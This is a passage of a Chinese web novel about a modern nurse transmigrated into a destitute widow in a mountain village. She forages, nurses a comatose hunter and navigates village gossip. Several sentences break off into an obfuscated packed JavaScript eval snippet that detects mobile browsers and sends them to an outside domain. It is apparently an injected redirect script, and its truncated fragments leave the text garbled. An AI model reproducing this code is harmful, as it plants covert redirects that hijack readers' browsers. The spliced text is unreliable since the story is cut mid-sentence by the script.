橙红色的,小小的一个果子,结得一串串。 既能用来当零嘴,也可以兑成酸甜的果汁。 大约是有新手保护期,陆鸢晃悠了许久后找到了倒在地上的腐木。 许是前些天下过雨,腐木在林子中,被高耸的树木遮去日光,还是潮湿的。 这些都不是重点,重点是腐木上结满了大片大片的褐色菌子。 陆鸢老家就是在乡下,老宅靠近山林,她也常常看见菌子,也见过腐木上长出来的菌子。 接触到穿越小说之后,就怕万一穿越了,就像现在这种情况,所以就总爱问旁人是什么菌子,能不能吃,然后再记住。 陆鸢很快就确定了是黑木耳,也就是这个时代所说的云耳。 有吃的了! 陆鸢死寂了几天的心情,在这一刻都激动了起来。 虽然新鲜木耳有毒,但晒干之后,毒素会被分解。之后再用水泡发来吃,就没问题了。 现在日头大,晒上两三天应该就可以吃了。 腐木很大一根,淅淅沥沥的长满了云耳,看着能摘下两三斤。 陆鸢把背篓放到地上,开始用砍柴刀把木耳从底部刮下来。 刮下来的木耳,都小心翼翼地放进背篓中。 木耳都采摘完,她脚都给蹲麻了。 缓了一会后,才背起背篓,准备下山去洗手。 手上沾上了木耳的汁液,她担心会渗透进了皮肤,得赶紧洗洗。 陆鸢转身原路返回,没走几步,目光所及,吓得她脚步倏然一顿。 一丈外的草丛在蠕动,她定睛一看,是小孩胳膊粗的金环蛇! 陆鸢心头蓦地一紧,只觉得不寒而栗,头皮发麻。 她不由地捏紧了何老婆子扔给她的香囊,一动都不敢动,就屏着呼吸死死地盯着金环蛇,心都梗到了嗓子眼上。 陆鸢盯着那金环蛇慢慢地爬远,直至没入另一处草丛之中,她才像是溺水得救后人,大口大口的呼吸。 陆鸢的后背沁出了一层冷汗,汗湿了衣服。 她不敢久留,迈着发颤的双脚往柴火放置的地方而去。 待提上七八斤重的树枝,双腿缓了过来,她就脚步飞快往山坡下跑。 到了山脚下,她才放慢了脚步,满头大汗地喘息着。 浑身湿透,闷热难受得很。 陆鸢看了眼自己又脏又黏糊的双手,已经感觉到有些瘙痒了,得赶紧洗手。 山脚附近溪流,陆鸢循着水声走到溪边。 远远便看到溪流里有小鱼游动。 她清楚什么工具都没有,肯定是抓不到的,也就没浪费精力去抓,只能瞧着眼馋了。 陆鸢蹲了下来,双手搓洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478990|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了许久,才敢捧起水来洗脸。 虽口干舌燥,溪水也清澈见底,但山中水中多得是看不见的细菌,她也不敢喝。 歇了一会,她脱下草鞋洗脚。 山间溪水清凉,泡了一会脚,燥热也退了下去。 洗着脚,她心想鱼抓不到,但没准能捡一点螺和河蚬。 心思一动,就翻着石头找了起来。 没有什么技巧,就是盲找。 大概来摸河蚬和螺的人还是有很多的,所以陆鸢找了好一会,也就只捡到十来个拇指大的河蚬,还有几个螺。 娘仨已经有小半年没沾过荤腥了。 逃荒数月,许久未饱腹过,这身体都已经掏空得不成样子了。 河蚬和螺没几个,塞不了牙缝,可蚊子再小也是肉,她也没敢嫌少。 找了几张大叶子包了河蚬和几个螺,放置背篓中,背起就走。 正是晌午,田里的村民,有的在树根下休息,有的家去。 陆鸢从原主的记忆里了解到,这村子叫围山村,四面环山。村子里有二十来户人家,稀稀疏疏地落在山野之间。 有人见着陆鸢,都投去好奇的目光。 村子里的人都知道这寡妇是逃荒来的,被祁家的何老婆子收留了下来。 何老婆子想让寡妇给昏迷不醒的孙子做婆娘,估计也就是想把寡妇当作不用花钱的使唤丫头。 寡妇给活死人当媳妇,这辈子算是毁了,村子里有不少人在背地说何老婆子黑心肝。 但说到底,村子很多人都受到过祁晟的帮助,所以有些话也没敢当着何老婆子的面说。 虽然没人敢在何老婆子面前乱说话,可都对这寡妇好奇得很。 只是这寡妇到围山村已有半月余了,也不爱与人打交道,所以村民们连寡妇的名字,来历都不知道,就只知道姓苏,是带着两个孩子逃荒的寡妇。 有好事的妇人,直接凑来探听,问:“苏寡妇,老祁家的那小子还没醒吗?” 陆鸢忽然被喊苏寡妇,一下子没反应过来是喊自己,直到人走到自己身旁,才反应过来是在与她说话。 陆鸢转头看向来人。 是一个三十来岁的圆脸妇人。 她翻找了一下寡妇的记忆,发现竟不认识这妇人。 不说这妇人,就是村子里的其他人,独来独往的寡妇都不认识。 陆鸢在这里人生地不熟,要是想在这时代生存下去,就必须尽快的了解,融入这个时代。 想要融入这个时代,就得和人打交道。 思至此,陆鸢开口询问:“嫂子怎么称呼?” 没成想能得到寡妇回应,妇人面色讶异了一瞬,才应道:“我叫黄兰,家就住在老祁家后边,夫家姓陈,你叫我陈二嫂就好。” 陆鸢唤了声“陈二嫂”后,解释道:“先前刚逃荒到围山村,路上遇到太多坏心思的人了,也还没缓过来,就没与村子的人打招呼。” 黄兰本来就对苏寡妇不了解,之前是咋样的性子,她也不怎么好奇,她好奇的是何老婆子的孙子。 黄兰不死心的追问:“老祁家的孙子到底还能不能醒得过来?” 陆鸢摇了摇头,应道:“我不知道,何老婆子什么都没与我说。” “陈二嫂可知道何老婆子的孙子发生了何事,才会成了这般光景?” 黄兰打探到什么消息,惋惜的叹了一声后,说道:“两个月前,祁晟上山打猎摔下了谷底,磕破了脑袋。被人抬回来后,虽说保住了一条命,但也没有再醒过来。” 说到这,陈二嫂压低声音问:“妹子,老实和嫂子说,你还真愿意嫁给活死人,赔上下半辈子呀?” 这一个村子里的都是熟人,她说的话,指不定明天就能传到何老婆子的耳中。 陆鸢也没傻到说实话,且说多错多,所以只是无奈地笑笑,不说话。 5. 第 5 章 陆鸢还有一段路才到家,可远远地,她就看到两个孩子站在院子外头,一直望着她离开的方向,似乎在等着她回来。 春花看到了她,就高兴地跑了过来,而秋花踉踉跄跄地跟在身后。 春花走到跟前,想帮忙,但拿不动柴火,只好帮忙拿柴刀。 回到家中,陆鸢洗了一小把高粱泡,给两个孩子分了几个,也让春花拿几个给何老婆子。 春花怕何老婆子,可大概也知道寄人篱下,吃的住的都是何老婆子的,是以虽怕,但还是怯怯走到了何老婆子面前,把手中的野果子递了过去。 “何奶奶,吃果子。” 何老婆子暼了眼她,又瞅了眼她手里那几个小小的高粱泡,收回视线,自己干活,说:“还不够尝出味的,我不吃。” 春花转头看向她娘。 陆鸢:“拿着和妹妹分了。” 她也吃了几个野果子,淡了几天的嘴里多了丝丝酸甜的味道,感觉头也没有那么晕乎了。 醒来后的这几天,总是觉得晕晕乎乎的,也不知道是身体虚弱,还是身体里的她还没缓过魂来。 现在想想,应该是前者。 陆鸢从杂物房里拿了一抱稻草到院子外,平铺到了地上,再把背篓的云耳拿出来铺在稻草上边。 何老婆子瞅了眼寡妇苏氏晾晒的东西,眼里有一丝讶异,抬起视线怪异地看了她一眼。 她问:“这云耳怎么发现的?” 陆鸢也没抬头,忙活着,应:“在山中腐木上发现的。” 何老婆子挑了挑眉,问:“那晾晒的法子又是谁教你的?” 陆鸢心里顿时激灵了一下。 这一个逃荒的寡妇,要是真认识什么无毒的菌子,还会晾晒,也不至于要给活死人做妻了。 陆鸢脑子转动极快,只几息就找了个借口:“以前见村子里的猎户媳妇晒过一些菌子,就有这云耳。当时多问了一嘴,说是得晒干后,再泡发就可以炒来吃了。” 也不知何老婆子有没有信,她还是那副不咸不淡的表情。 在陆鸢心下忐忑时,何老婆子说:“我告诉你一处收云耳的,价钱也不低,但得来的钱,你得分我一半。” 在何老婆子心里,孙子和曾孙才是最重要的,旁的也没心思深究。 陆鸢闻言,先是一喜,但听到要分何老婆子一半,纠结了一瞬,便应了:“行。” 何老婆子见她应得这么的快,狐疑道:“答应得这般爽快,可别是哄我这老婆子的吧?” 陆鸢垂眉道:“我吃住都是老太太的,再说还是老太太给介绍,给一半钱也不为过,哪能哄骗老太太你呀。” 这以后给了钱财,就不算是白吃白住了,说话也能有底气,有分量。 何老婆子冷哼了一声:“说得比唱得好听,怎的不见说要把卖来的钱全给我?” 陆鸢回道:“这不是入秋了,我也得为两个孩子做些厚实衣服。” 何老婆子:“先前三棍子打不出个闷屁,今天怎么这么多话?” 陆鸢也不慌,应:“落了一次水,没有什么比死更可怕的了,我也看开了。” 何老婆子听到这话,就想起刚见到苏氏那时,眼底一潭死水,明明活着,却又像死了。 就算没有过问过苏氏逃荒时的日子,但看着苏氏死水一般的空洞眼神,她琢磨着,要不是有两个孩子,估计都已经寻死了。 陆鸢见何老婆子沉默了下来,也不知想什么,她也猜不透,就没费心思去猜。 她继续把云耳都摊开来晒了,和春花说:“我去做饭,你和妹妹帮看着菌子,别叫鸡给啄了。” 春华“哎”了一声,就带着秋花在太阳底下,像左右护法一样守着。 陆鸢拍了拍脑门,这俩傻孩子。 她出声提醒:“拿根竹子在屋檐下守着,鸡过来就赶。” 春花很听话,立刻去拿起支在角落的竹子,走到阴凉的地方直勾勾地盯着院子里的两只鸡,只要一靠近,就用竹子驱赶。 何老婆子回了神,与陆鸢说:“今天中午,就吃你挖回来的野菜。” 陆鸢问道:“今天做野菜汤,能不能给我一点盐,待云耳卖出去了,有钱了,我再买些盐回来。” 何老婆子瞧了她一眼,没说什么。半晌后,放下手中的活计,起身回了屋。 没一会儿,何老婆子从屋子拿出了盐罐子。 陆鸢在厨房择野荠菜,何老婆子从外头进来,拿出一个空碗放在灶台上,打开盐罐子就舀半勺盐放到碗中。 陆鸢往盐罐子看了眼,里边的盐已经快到底了。 她不由得在心底轻叹了一声。 这日子过得未免太苦了。 苏窈收了目光择菜洗菜。 锅里的水也烧开了,她把几个螺、河蚬都扔了进去。 待河蚬壳开了,她就把灶眼的火给熄灭了。 尽管火熄了,但锅里的水还在沸腾,把野芥菜放进锅里,只需要烫一会儿就熟了。 陆鸢把野菜汤分好在碗中才端出去的。 河蚬肉已经掉了,索性把螺肉也挑了出来。 这些蚌壳类的肉本来就小,煮过后缩水就只和绿豆一样大小,真的不够塞牙缝的。 虽然小,但还是得分一分,每个人分了三四个蚬肉。 菜汤全端了出去,两个孩子也走到了桌前,她看了眼她们指甲缝都是泥的手,说:“ 洗了手再过来吃。” 看了眼水缸,太高了,她们也够不到,她就过去舀了水给她们洗。 洗手时,见她们的指甲已经很长了,也该修剪了。 她琢磨着,等吃完中食,再向老太太借把剪刀使使。 洗了手,坐下吃简陋的中饭。 野荠菜有点苦涩,但有了盐味,再加上这配着河蚬一块煮汤,中和了些许苦味,吃起来也还行。 春花夹起何蚬肉,激动地和她娘说:“娘,是肉!” 陆鸢点了点头:“吃吧。” 她看了眼秋花,筷子都使得还不利落,吃得领口脏兮兮的。 她这才想起来,昨天晚上的衣服还没洗呢。要是不洗,晚上就该没衣服穿了。 吃饱后,她把秋花的上衣脱掉,放在太阳底下晾晒,让秋花光着身子在屋子里头待一会。 陆鸢洗干净了碗,何老婆子又喊她去给祁晟喂流食。 何老婆子把粥递给了她,说:“今日陈大不会过来了,你来给晟哥儿翻身,再个晟哥儿擦身换裤子。” 陆鸢的表情当场就僵住了。 何老婆子瞧得出来她的表情变化,道:“又不是什么黄花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屈辱,无能,废人这几个词语一直在祁晟的脑海中翻滚着,刺激着,气血也在上涌着。 祁晟想,自己要是现在就死了,该多好。 何老婆子还是避讳的,把水放到了门口,也没进来。 男人是躺着的,陆鸢一个人,也没人帮抬起来,裤子脱得有点艰难,是以好半晌才脱下。 陆鸢虽然是护士,但也不想看男人的下半身,所以全程都是别开视线的。 她转身把水端到床边。视线在男人的脸上,手下拿着厚实的布就随随便便地擦了擦。 只是看着男人的脸,看着看着就感觉不对劲了起来。 陆鸢喃喃自语道:“这脸怎会这么红?还是说还有意识?知道是我给他脱的裤子,他才红脸了?” 丧失求生意志力的祁晟,忽然听到寡妇这么一说,心下倏然一惊,可随即又继续消沉着。 便是知道他是有意识的,又能如何? 难道可以让他醒过来?亦是说可以帮他结束这苟延残喘的性命? 6. 第 6 章 陆鸢给祁晟擦完后,拿过一旁干爽的垫布,盖在了男人腰腹下方,随之给他套上裤子。 待裤子套上,才把布给拉了出来。 昏迷两个月了,这男人的体量依旧不轻,陆鸢费了好大力气帮他翻身,重新把干爽的垫布垫到他臀部下边。 做好一切,陆鸢也累得出了一身汗。 想到男人刚才得脸色,她的视线不由地回到男人脸上。 男人脸上的绯红色还未全褪,比起昨日的苍白,今日忽然脸红,显得气色都好了。 忽然红脸,是因为她给换裤子而红的脸?还是旁的原因? 瞧了一会,陆鸢收回目光,拿上换下来的裤子和垫布出了屋外。 用皂角洗了几遍手,才暗暗松了一口气。 甩干手上的水渍,她去摸了摸秋花的衣服,差不多干了,便给她穿上,免得大热天也着凉。 给秋花穿上了衣服,也还不能歇,主要活还没干完,得去洗衣服。 她记得洗衣服是用洗衣棒捶打的,找了一下,在杂物房找到了。 带上齐晟的衣物,还有家里昨日换下的衣服到河边去洗。 日头正大,她找到一处阴凉且有大石头的地方。 把衣服弄湿,再把皂角放在衣服上,接着用洗衣棒捶洗。 或许洗衣服也要讲究技巧,所以没一会,陆鸢就锤累了。 边歇边捶打,洗了许久,才把衣服洗好。 她站起来舒展了一下手臂,目光不知不觉地落在河流平缓的河面上,慢慢地,心里冒出了一个危险念头。 ——她要是投河,回到现代的几率有多大? 这个想法一出来,陆鸢就忙不迭地晃了晃脑袋。 生命可贵,试一试没准就逝世,也没有再次重来或是穿越的机会了,那就是真的死了。 她可不能再有这样的想法了。虽然现在的日子是苦,但好日子都是拼搏出来的。 就算过不上锦衣玉食的生活,搏一搏总是可以吃饱穿暖的。 想通后,陆鸢就抱着木盆回去了,回到院子,把衣服都搭在晾衣竹竿上。 刚入秋,白日日头很烈,一个下午就能把衣服晒干。 弄好这些,她又把杂物房里边的稻草垫拿出来暴晒。 昨晚下半夜总觉得浑身痒,她怀疑是这草垫的问题。 之前下过雨,地面潮湿,定然有爬虫。 说实在的,她躺在稻草垫上,都要做许久的思想准备。 每到这个时候,陆鸢就迫切的想要挣钱,吃上白米饭,吃上肉,睡上床。 把稻草垫拿出来晾晒后,又进去把杂物房收拾了一遍。 草木灰能防一些小虫子,她从灶眼挖了一些草木灰出来,在杂物房的边边角角都撒上。 打扫好卫生,弄了一盆水和一桶水在太阳底下晾晒,等傍晚就可以用来洗澡了。 忙完这些活计后,就跟何老婆子借了剪子,修剪她和两个孩子的指甲。 别说两个孩子了,她的指甲缝也有泥垢。 老太太做了一上午的针线活,眼睛累,腰背也酸疼,就停下来歇息了。 站起来舒展筋骨时,目光落在母女三人的身上。 苏氏真的有些不一样了。 人还是那个人,但给人感觉却截然不同。 前半个月是个闷葫芦,眼里没神,可现在话多了起来,眼睛也有了光彩,整个人多了分鲜活的气息。 也不知这算不算好事。 何老婆子不怕旁的,就怕这苏氏改变了,想法也多了,到时没等两个月,就带着孩子改嫁给别人了。 到时候她一个老婆子,哪里斗得过她改嫁去的人家? 思及此,何老婆子心道,得想法子留住苏氏才成。 这边陆鸢给孩子修剪好了指甲,打算把剪刀还回去,就见何老婆子又在盯着自己看。 她有点瘆得慌,总觉得老太太是在琢磨着自个孙子和她的事。 陆鸢把剪刀放回了小箩筐里,转移话题似的问:“老太太,咱家就没种什么菜和粮食?” 何老婆子回过神,应:“田典了,菜地有一块,我一个老婆子既要照看病人,又要做绣活,照料不过来。” “咋地,你想种菜?” 祁晟刚受伤那时,伤得很重,险些连性命都没保住,还是何老婆子凑钱买到人参,这才吊着他一口气。 陆鸢应道:“也不能总吃野菜。” 何老婆子看了眼日头,说:“我带你去瞧瞧。” 何老婆子把鸡关回了鸡笼,才带着陆鸢出去。 两个孩子也想跟着,陆鸢只得抱着小的那个。 家里短暂没人,也是可以的。 主要俩孩子在家,也没什么用,甚至没人看着他们,还很危险。 菜地就在屋子后边的小土坡上,没多大的一块地,约莫就七八个平方,杂草丛生,还有两三棵要死不活的菘菜。 何老婆子道:“我一个老婆子,水也挑不上来,就只能荒废了。” 这菜地,是刚搬过来时,何老婆子开的荒。但下种子没多久,体力就跟不上了,是以就荒废了。 陆鸢看了眼河流的位置,把水提到这里,确实是累人的活。 她想了想,说:“平时洗澡的水也可以挖个坑蓄起来,用来浇菜地,也不用跑到河边挑水。” 何老婆子道:“你想折腾你就折腾,我是折腾不动了,家里还有一些菜种,你想种,我就给你拿。” 陆鸢点了点头,今日日头大,容易中暑,得明天早上才能锄地。 回到家里,陆鸢看了眼云耳。 暴晒了一个多时辰,原本饱满的云耳已经晒得皱巴了。 这样的日头,明天再晒一天,应该就可以了。 下午总算没啥事做了,她也可以歇一歇了。 坐在墙角下,有凉风吹来,不知不觉就靠着后墙睡着了。 也不知睡了多久,醒来的时候只觉得脖子酸疼酸疼的。 看了眼天色,应该是申时到酉时之间,没有钟表就是麻烦。 她先前也不会看天色,但原身会,她的记忆还在脑子里,根据这些记忆,大概也会看一点。 她去摸了摸晾晒在院子里的水,已经温热了,可以洗澡了。 让春花先去洗澡,她就在院子外开始挖坑。 土地不是特别硬,挖了一刻,终于挖好了一个土坑。 她把春花洗澡的水都倒进了土坑里。 观察了一会,虽然有渗水的情况,但每天都把水往里倒,只要维持在一定湿度,这渗透速度就会变慢,也就能蓄水了。 回了院子,她把暴晒过的稻草垫和草席都搬回了屋,晒过后,草垫子已经干燥了,她心也安了一点。 铺好垫子和席子,熏了艾草后就把门和窗户关上了。熏艾草不仅能防蚊,也能防其他的多足爬行的虫子。 弄好这些后,她拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这苏氏忽然有了变化,祖母就怕她有了别的心思,万一临了快到日子了,她却跟了别人,这咋整?” 祁晟:也挺好的。 “祖母觉着,让她提前与你住一块是最好的。你模样俊俏,身子骨也还没彻底消瘦下去,她夜夜瞧着你的脸,总能有几分动心。” “她到底是嫁过人的了,说不准夜半难耐,就动了心思,要与你圆房,这也不是不可能的。” 老太太的话,直白又露骨。 祁晟:…… “就是不知怎样劝,才能让苏氏心甘情愿的住到这屋子来。”说到这,何老婆子也犯了难。 “算了,再等等吧,好歹先养出点肉来,干巴巴的,看着比我这老太婆还要干瘪。” 祖母…… 祁晟无言又无奈。 因着祖母的形容,祁晟脑海里浮现了一个妇人的形象。 妇人头发似枯草,肤色炭黑,身形干瘦,佝偻着身子。 他脑海又多了一副画面。 ——这么个貌丑的妇人,今日扒下了他裤子,盯着他瞧。 想到此,祁晟只觉得浑身哪哪都不适。 7. 第 7 章 翌日一大早,陆鸢起身,把柳树枝一头嚼成纤维状,再用来刷牙。 盥洗好就把衣服装到盆里,拿上皂角去河边。 村子里的妇人,都是早上浣洗衣物。 妇人聚集在一块,便会边洗衣边闲聊。而她早些去,占一个好地方,听听她们的闲聊,以便她尽早了解这个世界,了解这个围山村。 陆鸢去得早,早早便占据了偏僻的角落,也就是大石头的后边,不仔细也注意不到是谁。 好一会后,陆续有人过来洗衣,便开始闲聊了起来。 “听说陈大山不在祁家干了。” “真的假的,那祁晟谁来照料?” “还能是谁,当然是那个寡妇了,不然你以为何老婆子为什么要收留娘仨?那可不是添一双筷子的是,那可是整整三张嘴呢。” “何老婆子也真是饥不择食了,咱们村子的光棍老汉都看不上寡妇,她倒是看上了。” “哪能有什么办法?她家孙子以前是招姑娘喜欢,十里八乡的姑娘都想嫁给他,可老婆子眼界高,都看不上。好了,现在人都这样了,那还有给她挑的,现在有个寡妇都算是不错的了。” 石头后的陆鸢:…… 她是想听村子里的八卦,可不是想听自己的八卦。 “祁晟都这样了,何老婆子到底是想找个使唤丫头,还是想抱曾孙?” “我与你说,你别说出去,我听大山媳妇说过,大山照顾那祁晟时,那物什还是有反应的,而且还很是雄伟呢!” “那是不是还能用?!” 陆鸢听到这些话,顿时老脸一红。 她们可还真敢聊! 陆鸢实在听不下去了,清咳了两声。 “咳咳。” 咳嗽声一出,两个聊天的妇人顿时止住了声音,往声源望去,就见石头后露出了一截的衣角。 两人面面相觑,抿了抿嘴,小声嘀咕了起来:“你说这石头后的是谁?” “可别是祁家寡妇。” 陆鸢从石头后探出脑袋,朝她们笑了笑:“你们方才可是在说我?” 两个妇人的瞳孔都蓦然一缩。 这寡妇在这听多久了?! 两人面上顿时露出了尴尬之色。 其中一个妇人讪讪笑道:“你听岔了,我们在说隔壁村的寡妇。” 陆鸢也没有点破,笑了笑,又把脑袋缩了回去。 两个妇人相互舒了一口气。 果然还是不能再背后说人。 下回要再在背后说人,得先看看周围有没有人才成。 陆鸢洗了一会衣服,身后忽然传来妇女声音:“苏寡妇,今儿个怎这么早出来洗衣服?” 陆鸢闻声,转头一看,原来是昨天聊过天的黄兰。 陆鸢唤了声:“陈二嫂。” 一唤顿时一愣。 等等…… 陈大山,陈家二嫂? 黄兰自来熟似地在陆鸢旁边蹲下,把衣服倒进水里,用洗衣棒搅拌了几下再捞了起来。 陆鸢看了眼黄兰,试探性的问:“陈二嫂,之前照顾祁晟的大山,是陈二嫂的什么人?” 黄兰讶异地看向她,说:“大山是我男人,你不知道?!” 陆鸢默默地摇了摇头。 感情刚听到的那些话,都是从黄兰嘴里说出来的。 黄兰:“你怎忽然问起我家男人了?” 石头后的两个小声嘀咕的妇人顿时噤声,洗衣速度忽然快了,心里只有一个念头。 赶紧洗好赶紧走! 陆鸢:“忽然想到了陈二嫂夫家姓陈,刚好照顾祁晟的也姓陈,觉得巧,就问问。” 围山村的村民大多都不同姓,也不是本地的。 原本有几户山里搬下来的山户,也有很久以前逃荒来的,更有后边被流放来的。 两个妇人听到寡妇的回答,松了一口气,洗衣也缓了下来。 陆鸢询问:“陈二嫂,我想问一下,咱们平时要买东西,都去哪买?” 黄兰:“二十里地外的平安镇上呀,走一个时辰就能到。咋地,你想买东西?” 陆鸢道:“想去瞧瞧。” 黄兰:“你要想去的话,得赶上赶集日,那会才热闹呢。” 陆鸢问:“啥时候是赶集日?” 黄兰:“就后天,平时赶集日,你家那个老太太还会叫人帮她去拿帕子去胭脂铺子卖,也会让人帮忙买药。” 陆鸢:“赶集日,陈二嫂你去吗?” 陈二嫂:“当然去了。” 陆鸢:“我不认路,到时候陈二嫂能不能也捎上我?” 黄兰嘴是真的碎,但人也是真的热情:“能呀,怎么不能,多一个人还能聊着天去呢!” “你是不知道,咱们平安镇的赶集日可热闹了,平日里大家伙都会攒一点东西,然后拿到集市上摆摊,以便补贴家用。” “我去瞅瞅有什么又便宜又实用的,买点回来。” 听到这,陆鸢就来了兴趣,问:“谁都能摆摊吗?” 黄兰:“那当然不是,摆摊得先交两文钱的摊位费。” 身无分文的陆鸢顿时打消了摆摊卖云耳的念头。 还是先了解清楚,再看看有什么可以做的。 两人浣洗完衣服,一块回去。 在半道上,陆鸢正在想事,身旁的黄兰忽然往前一指,道:“那不是你家老太太么,她这是要去哪?” 陆鸢回神,循着黄兰指的方向望去,就见何老婆子脚步缓慢的往村庄内里走,也不知道去找谁。 陆鸢回了院子,问春花:“知道何奶奶去哪吗?” 春花摇了摇头:“她没说。” 晾晒衣服时,春花也过来帮忙,她人小力气也小,只能是拧她和秋花的衣裳。 拧得半干,就爬到杌子上,把衣服往晾衣杆上甩去。 陆鸢看着摇晃的杌子,只得把她给抱下来:“去带你妹妹。” 把衣裳都晾完了,太阳刚升起。 陆鸢想砍一些竹子,尝试做一张简单的竹床。 等到挣钱才买床的话,不知何时才能睡上床。 虽说昨日晒过稻草垫子,但只要是铺在地上,她就没安全感。 再说她这几天总觉得感觉肩颈很腰背很是酸痛,说不定也有地上湿气重造成的原因。 竹床她没做过,但在外公家见过,也刷视频刷到过,大概知道个流程,所以想尝试尝试。 她记得后山坡的菜地旁,就有一小片竹林。也不知是有主的,还是野生的,得等何老婆子回来,问过她才知道能不能砍。 等了大概有一刻,何老婆子才从外边回来,她身后还跟着一个坡脚的老汉。 那老汉五六十的年纪,身上的衣服虽有补丁,却也是干干净净的。 就在陆鸢不知道咋回事时,何老婆子便和那老汉说:“说好的,一个月三十五文,早中晚都来一趟,先让你干三天,实在做不好,我也不能要你,三天也只能给你三文钱。” 那老汉应道:“不过就是给阿晟换垫子,裤子,擦身翻身这么些么,简单,我做得来。” 听到这话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说到这,又道:“多大点事,一刻时都不用,晌午我再过来。” 李老汉腿脚不便,也干不了重活,只能种点菜。这每天过来三刻,就能有三十五文工钱,不挣白不挣。 李老汉一走,何老婆子忙问:“李老汉干得咋样?” 陆鸢点头:“搓得还挺干净,挺全面的。” 那力道都能赶上搓澡师傅了,泥垢也都下来了,能不干干净么。 何老婆子闻言,松了一口:“那就好,早知道一开始就寻李老汉了。” 但琢磨了一下,陈大山退还了二十文,说到底她也是挣了的。 过了一会,陆鸢才转身回屋,打算把水端出来,顺道把换下的裤子与垫布也拿出来。 进了屋,搬起水盆准备出去时瞟了一眼祁晟。 就这一眼,她看到了祁晟的脸色再次如昨日那样发红。 不,应该说比昨天还红,连耳朵都是红的。 这…… 莫不是真的是有意识的? 她做护士,没有那么多的专业知识,但也知道这植物人要是有意识,就能微弱的感知到外界的声音。 兴许他方才没听见老汉的声音,误以为是她给他搓的身子? 陆鸢琢磨了一下,觉得也不是没有这个可能。 他得问问之前照顾祁晟的陈大山,祁晟之前是否也红过脸。 要真有意识,以后多刺激刺激,没准就真能醒过来了。 他要是能醒,做夫妻和生孩子这两个困扰着她的问题,就可以通通都不作数了。 8. 第 8 章 陆鸢观察了一会祁晟后,就端着水盆从屋中出来了。 她得先确认祁晟是否有意识,之后再尝试一下,看能不能把他给刺激醒。 现下,她得先尝试做竹床。 她倒了水,问何老婆子:“老太太,后山坡菜地旁的那片竹林是谁家的?” 何老婆子暼了眼她,问:“你要做甚?” 陆鸢:“我想砍几根竹子回来,做张竹床。” 何老婆子狐疑地上下打量了一下她,语气甚是怀疑:“你会做?” 陆鸢如实回答:“不会,但可以尝试一下。” 复杂的,她肯定做不来,但她可以做简易。 老太太顿时皱眉道:“瞎折腾什么,想要睡床,那还不简单。” 陆鸢闻言,眼神倏然一亮。 何老婆子继而道:“俩孩子跟我一个屋,你跟晟哥儿一个屋不就成了?” 陆鸢:…… 那她还是折腾吧。 她笑得有点勉强,说:“虽我是个寡妇,但都没办过仪式,就这么睡一个屋,名不正言不顺的,对我名声不好。” 何老婆子琢磨了一下:“也是,该名正言顺,我找人翻个黄道吉日,再买一只公鸡与你拜堂。” 这话可惊着陆鸢了,但转念一想,反正只要不圆房,只应付地和公鸡拜堂,也行。。 她看到何老婆子思索的神色,都能猜得出来似乎已经在琢磨成婚该准备什么物件了。 陆鸢打断了何老婆子的琢磨,再次问:“山坡上的竹子可以砍吗?” 老太太回过神,没好气道:“那些竹子都是咱们整个围山村的,村子里的人都可以砍,你去砍的时候,要是别人问起,就说我让你砍的。” 有了何老婆子的话,陆鸢就放心地拿着柴刀出了门。 到了小竹林,她也不急着砍竹子,而是找了一下,看看有没有竹笋。 岭南盛产麻竹笋,七八月份,正是麻竹笋生长的旺季。 这一找一个准,小竹林里到处都是。 她不由纳闷,这里的人都不吃竹笋的吗? 陆鸢挖了几个大竹笋堆在一块,等着一会拿背篓背回去。 挖了竹笋,她才挑了一根碗口粗的竹子来砍。 砍倒后,再劈了多余的枝叶。 她拢共砍了三根竹子,陆鸢都已经累得直不起腰了。 竹子一长根不好拖回家,得有锯子锯断才能带回去。 她歇了一会,回家问何老婆子:“老太太,咱们家有锯子吗?” 何老婆子又念了句:“净瞎折腾。” 放下手中的东西,起身出了门,没一会儿就拿了一个锯子回来。 “这是借人家大山媳妇的,你可别给我弄坏了。” 陆鸢连忙点头。 眼瞅晌午了,也该是时候做饭了。她先去把竹笋背回来,等吃完中食,确定好竹床样式后再去锯竹子。 陆鸢把竹笋背回来,何老婆子看了眼,嫌弃道:“这麻竹笋又苦又涩,你弄这么多回来作甚?” 陆鸢还真不知道没处理过的麻竹笋是苦涩的。她没吃过野生的麻竹笋,到市场买的都是人家已经处理好了的。 可既然商家都能有办法去掉竹笋的苦涩,那么她也能想办法处理。 陆鸢在脑海里过了一遍,应:“我想晒成笋干,兴许能去掉苦涩。” 何老婆子皱了皱眉,但也没说什么。 晌午,何老婆子终于舍得舀了小半碗的糙米出来,让陆鸢熬粥喝。 看到糙米,陆鸢心想家里原来还是有米的。 也甭管是精米还是糙米,反正可算是能吃上米了。 她立刻舀水淘米,烧水起锅。 晌午的中食,每人都分得大半碗粥。 虽没有小菜,而且糙米粗糙,也剌嗓子,但每个人都喝得心满意足。 吃完中食,李老汉也刚好过来了。 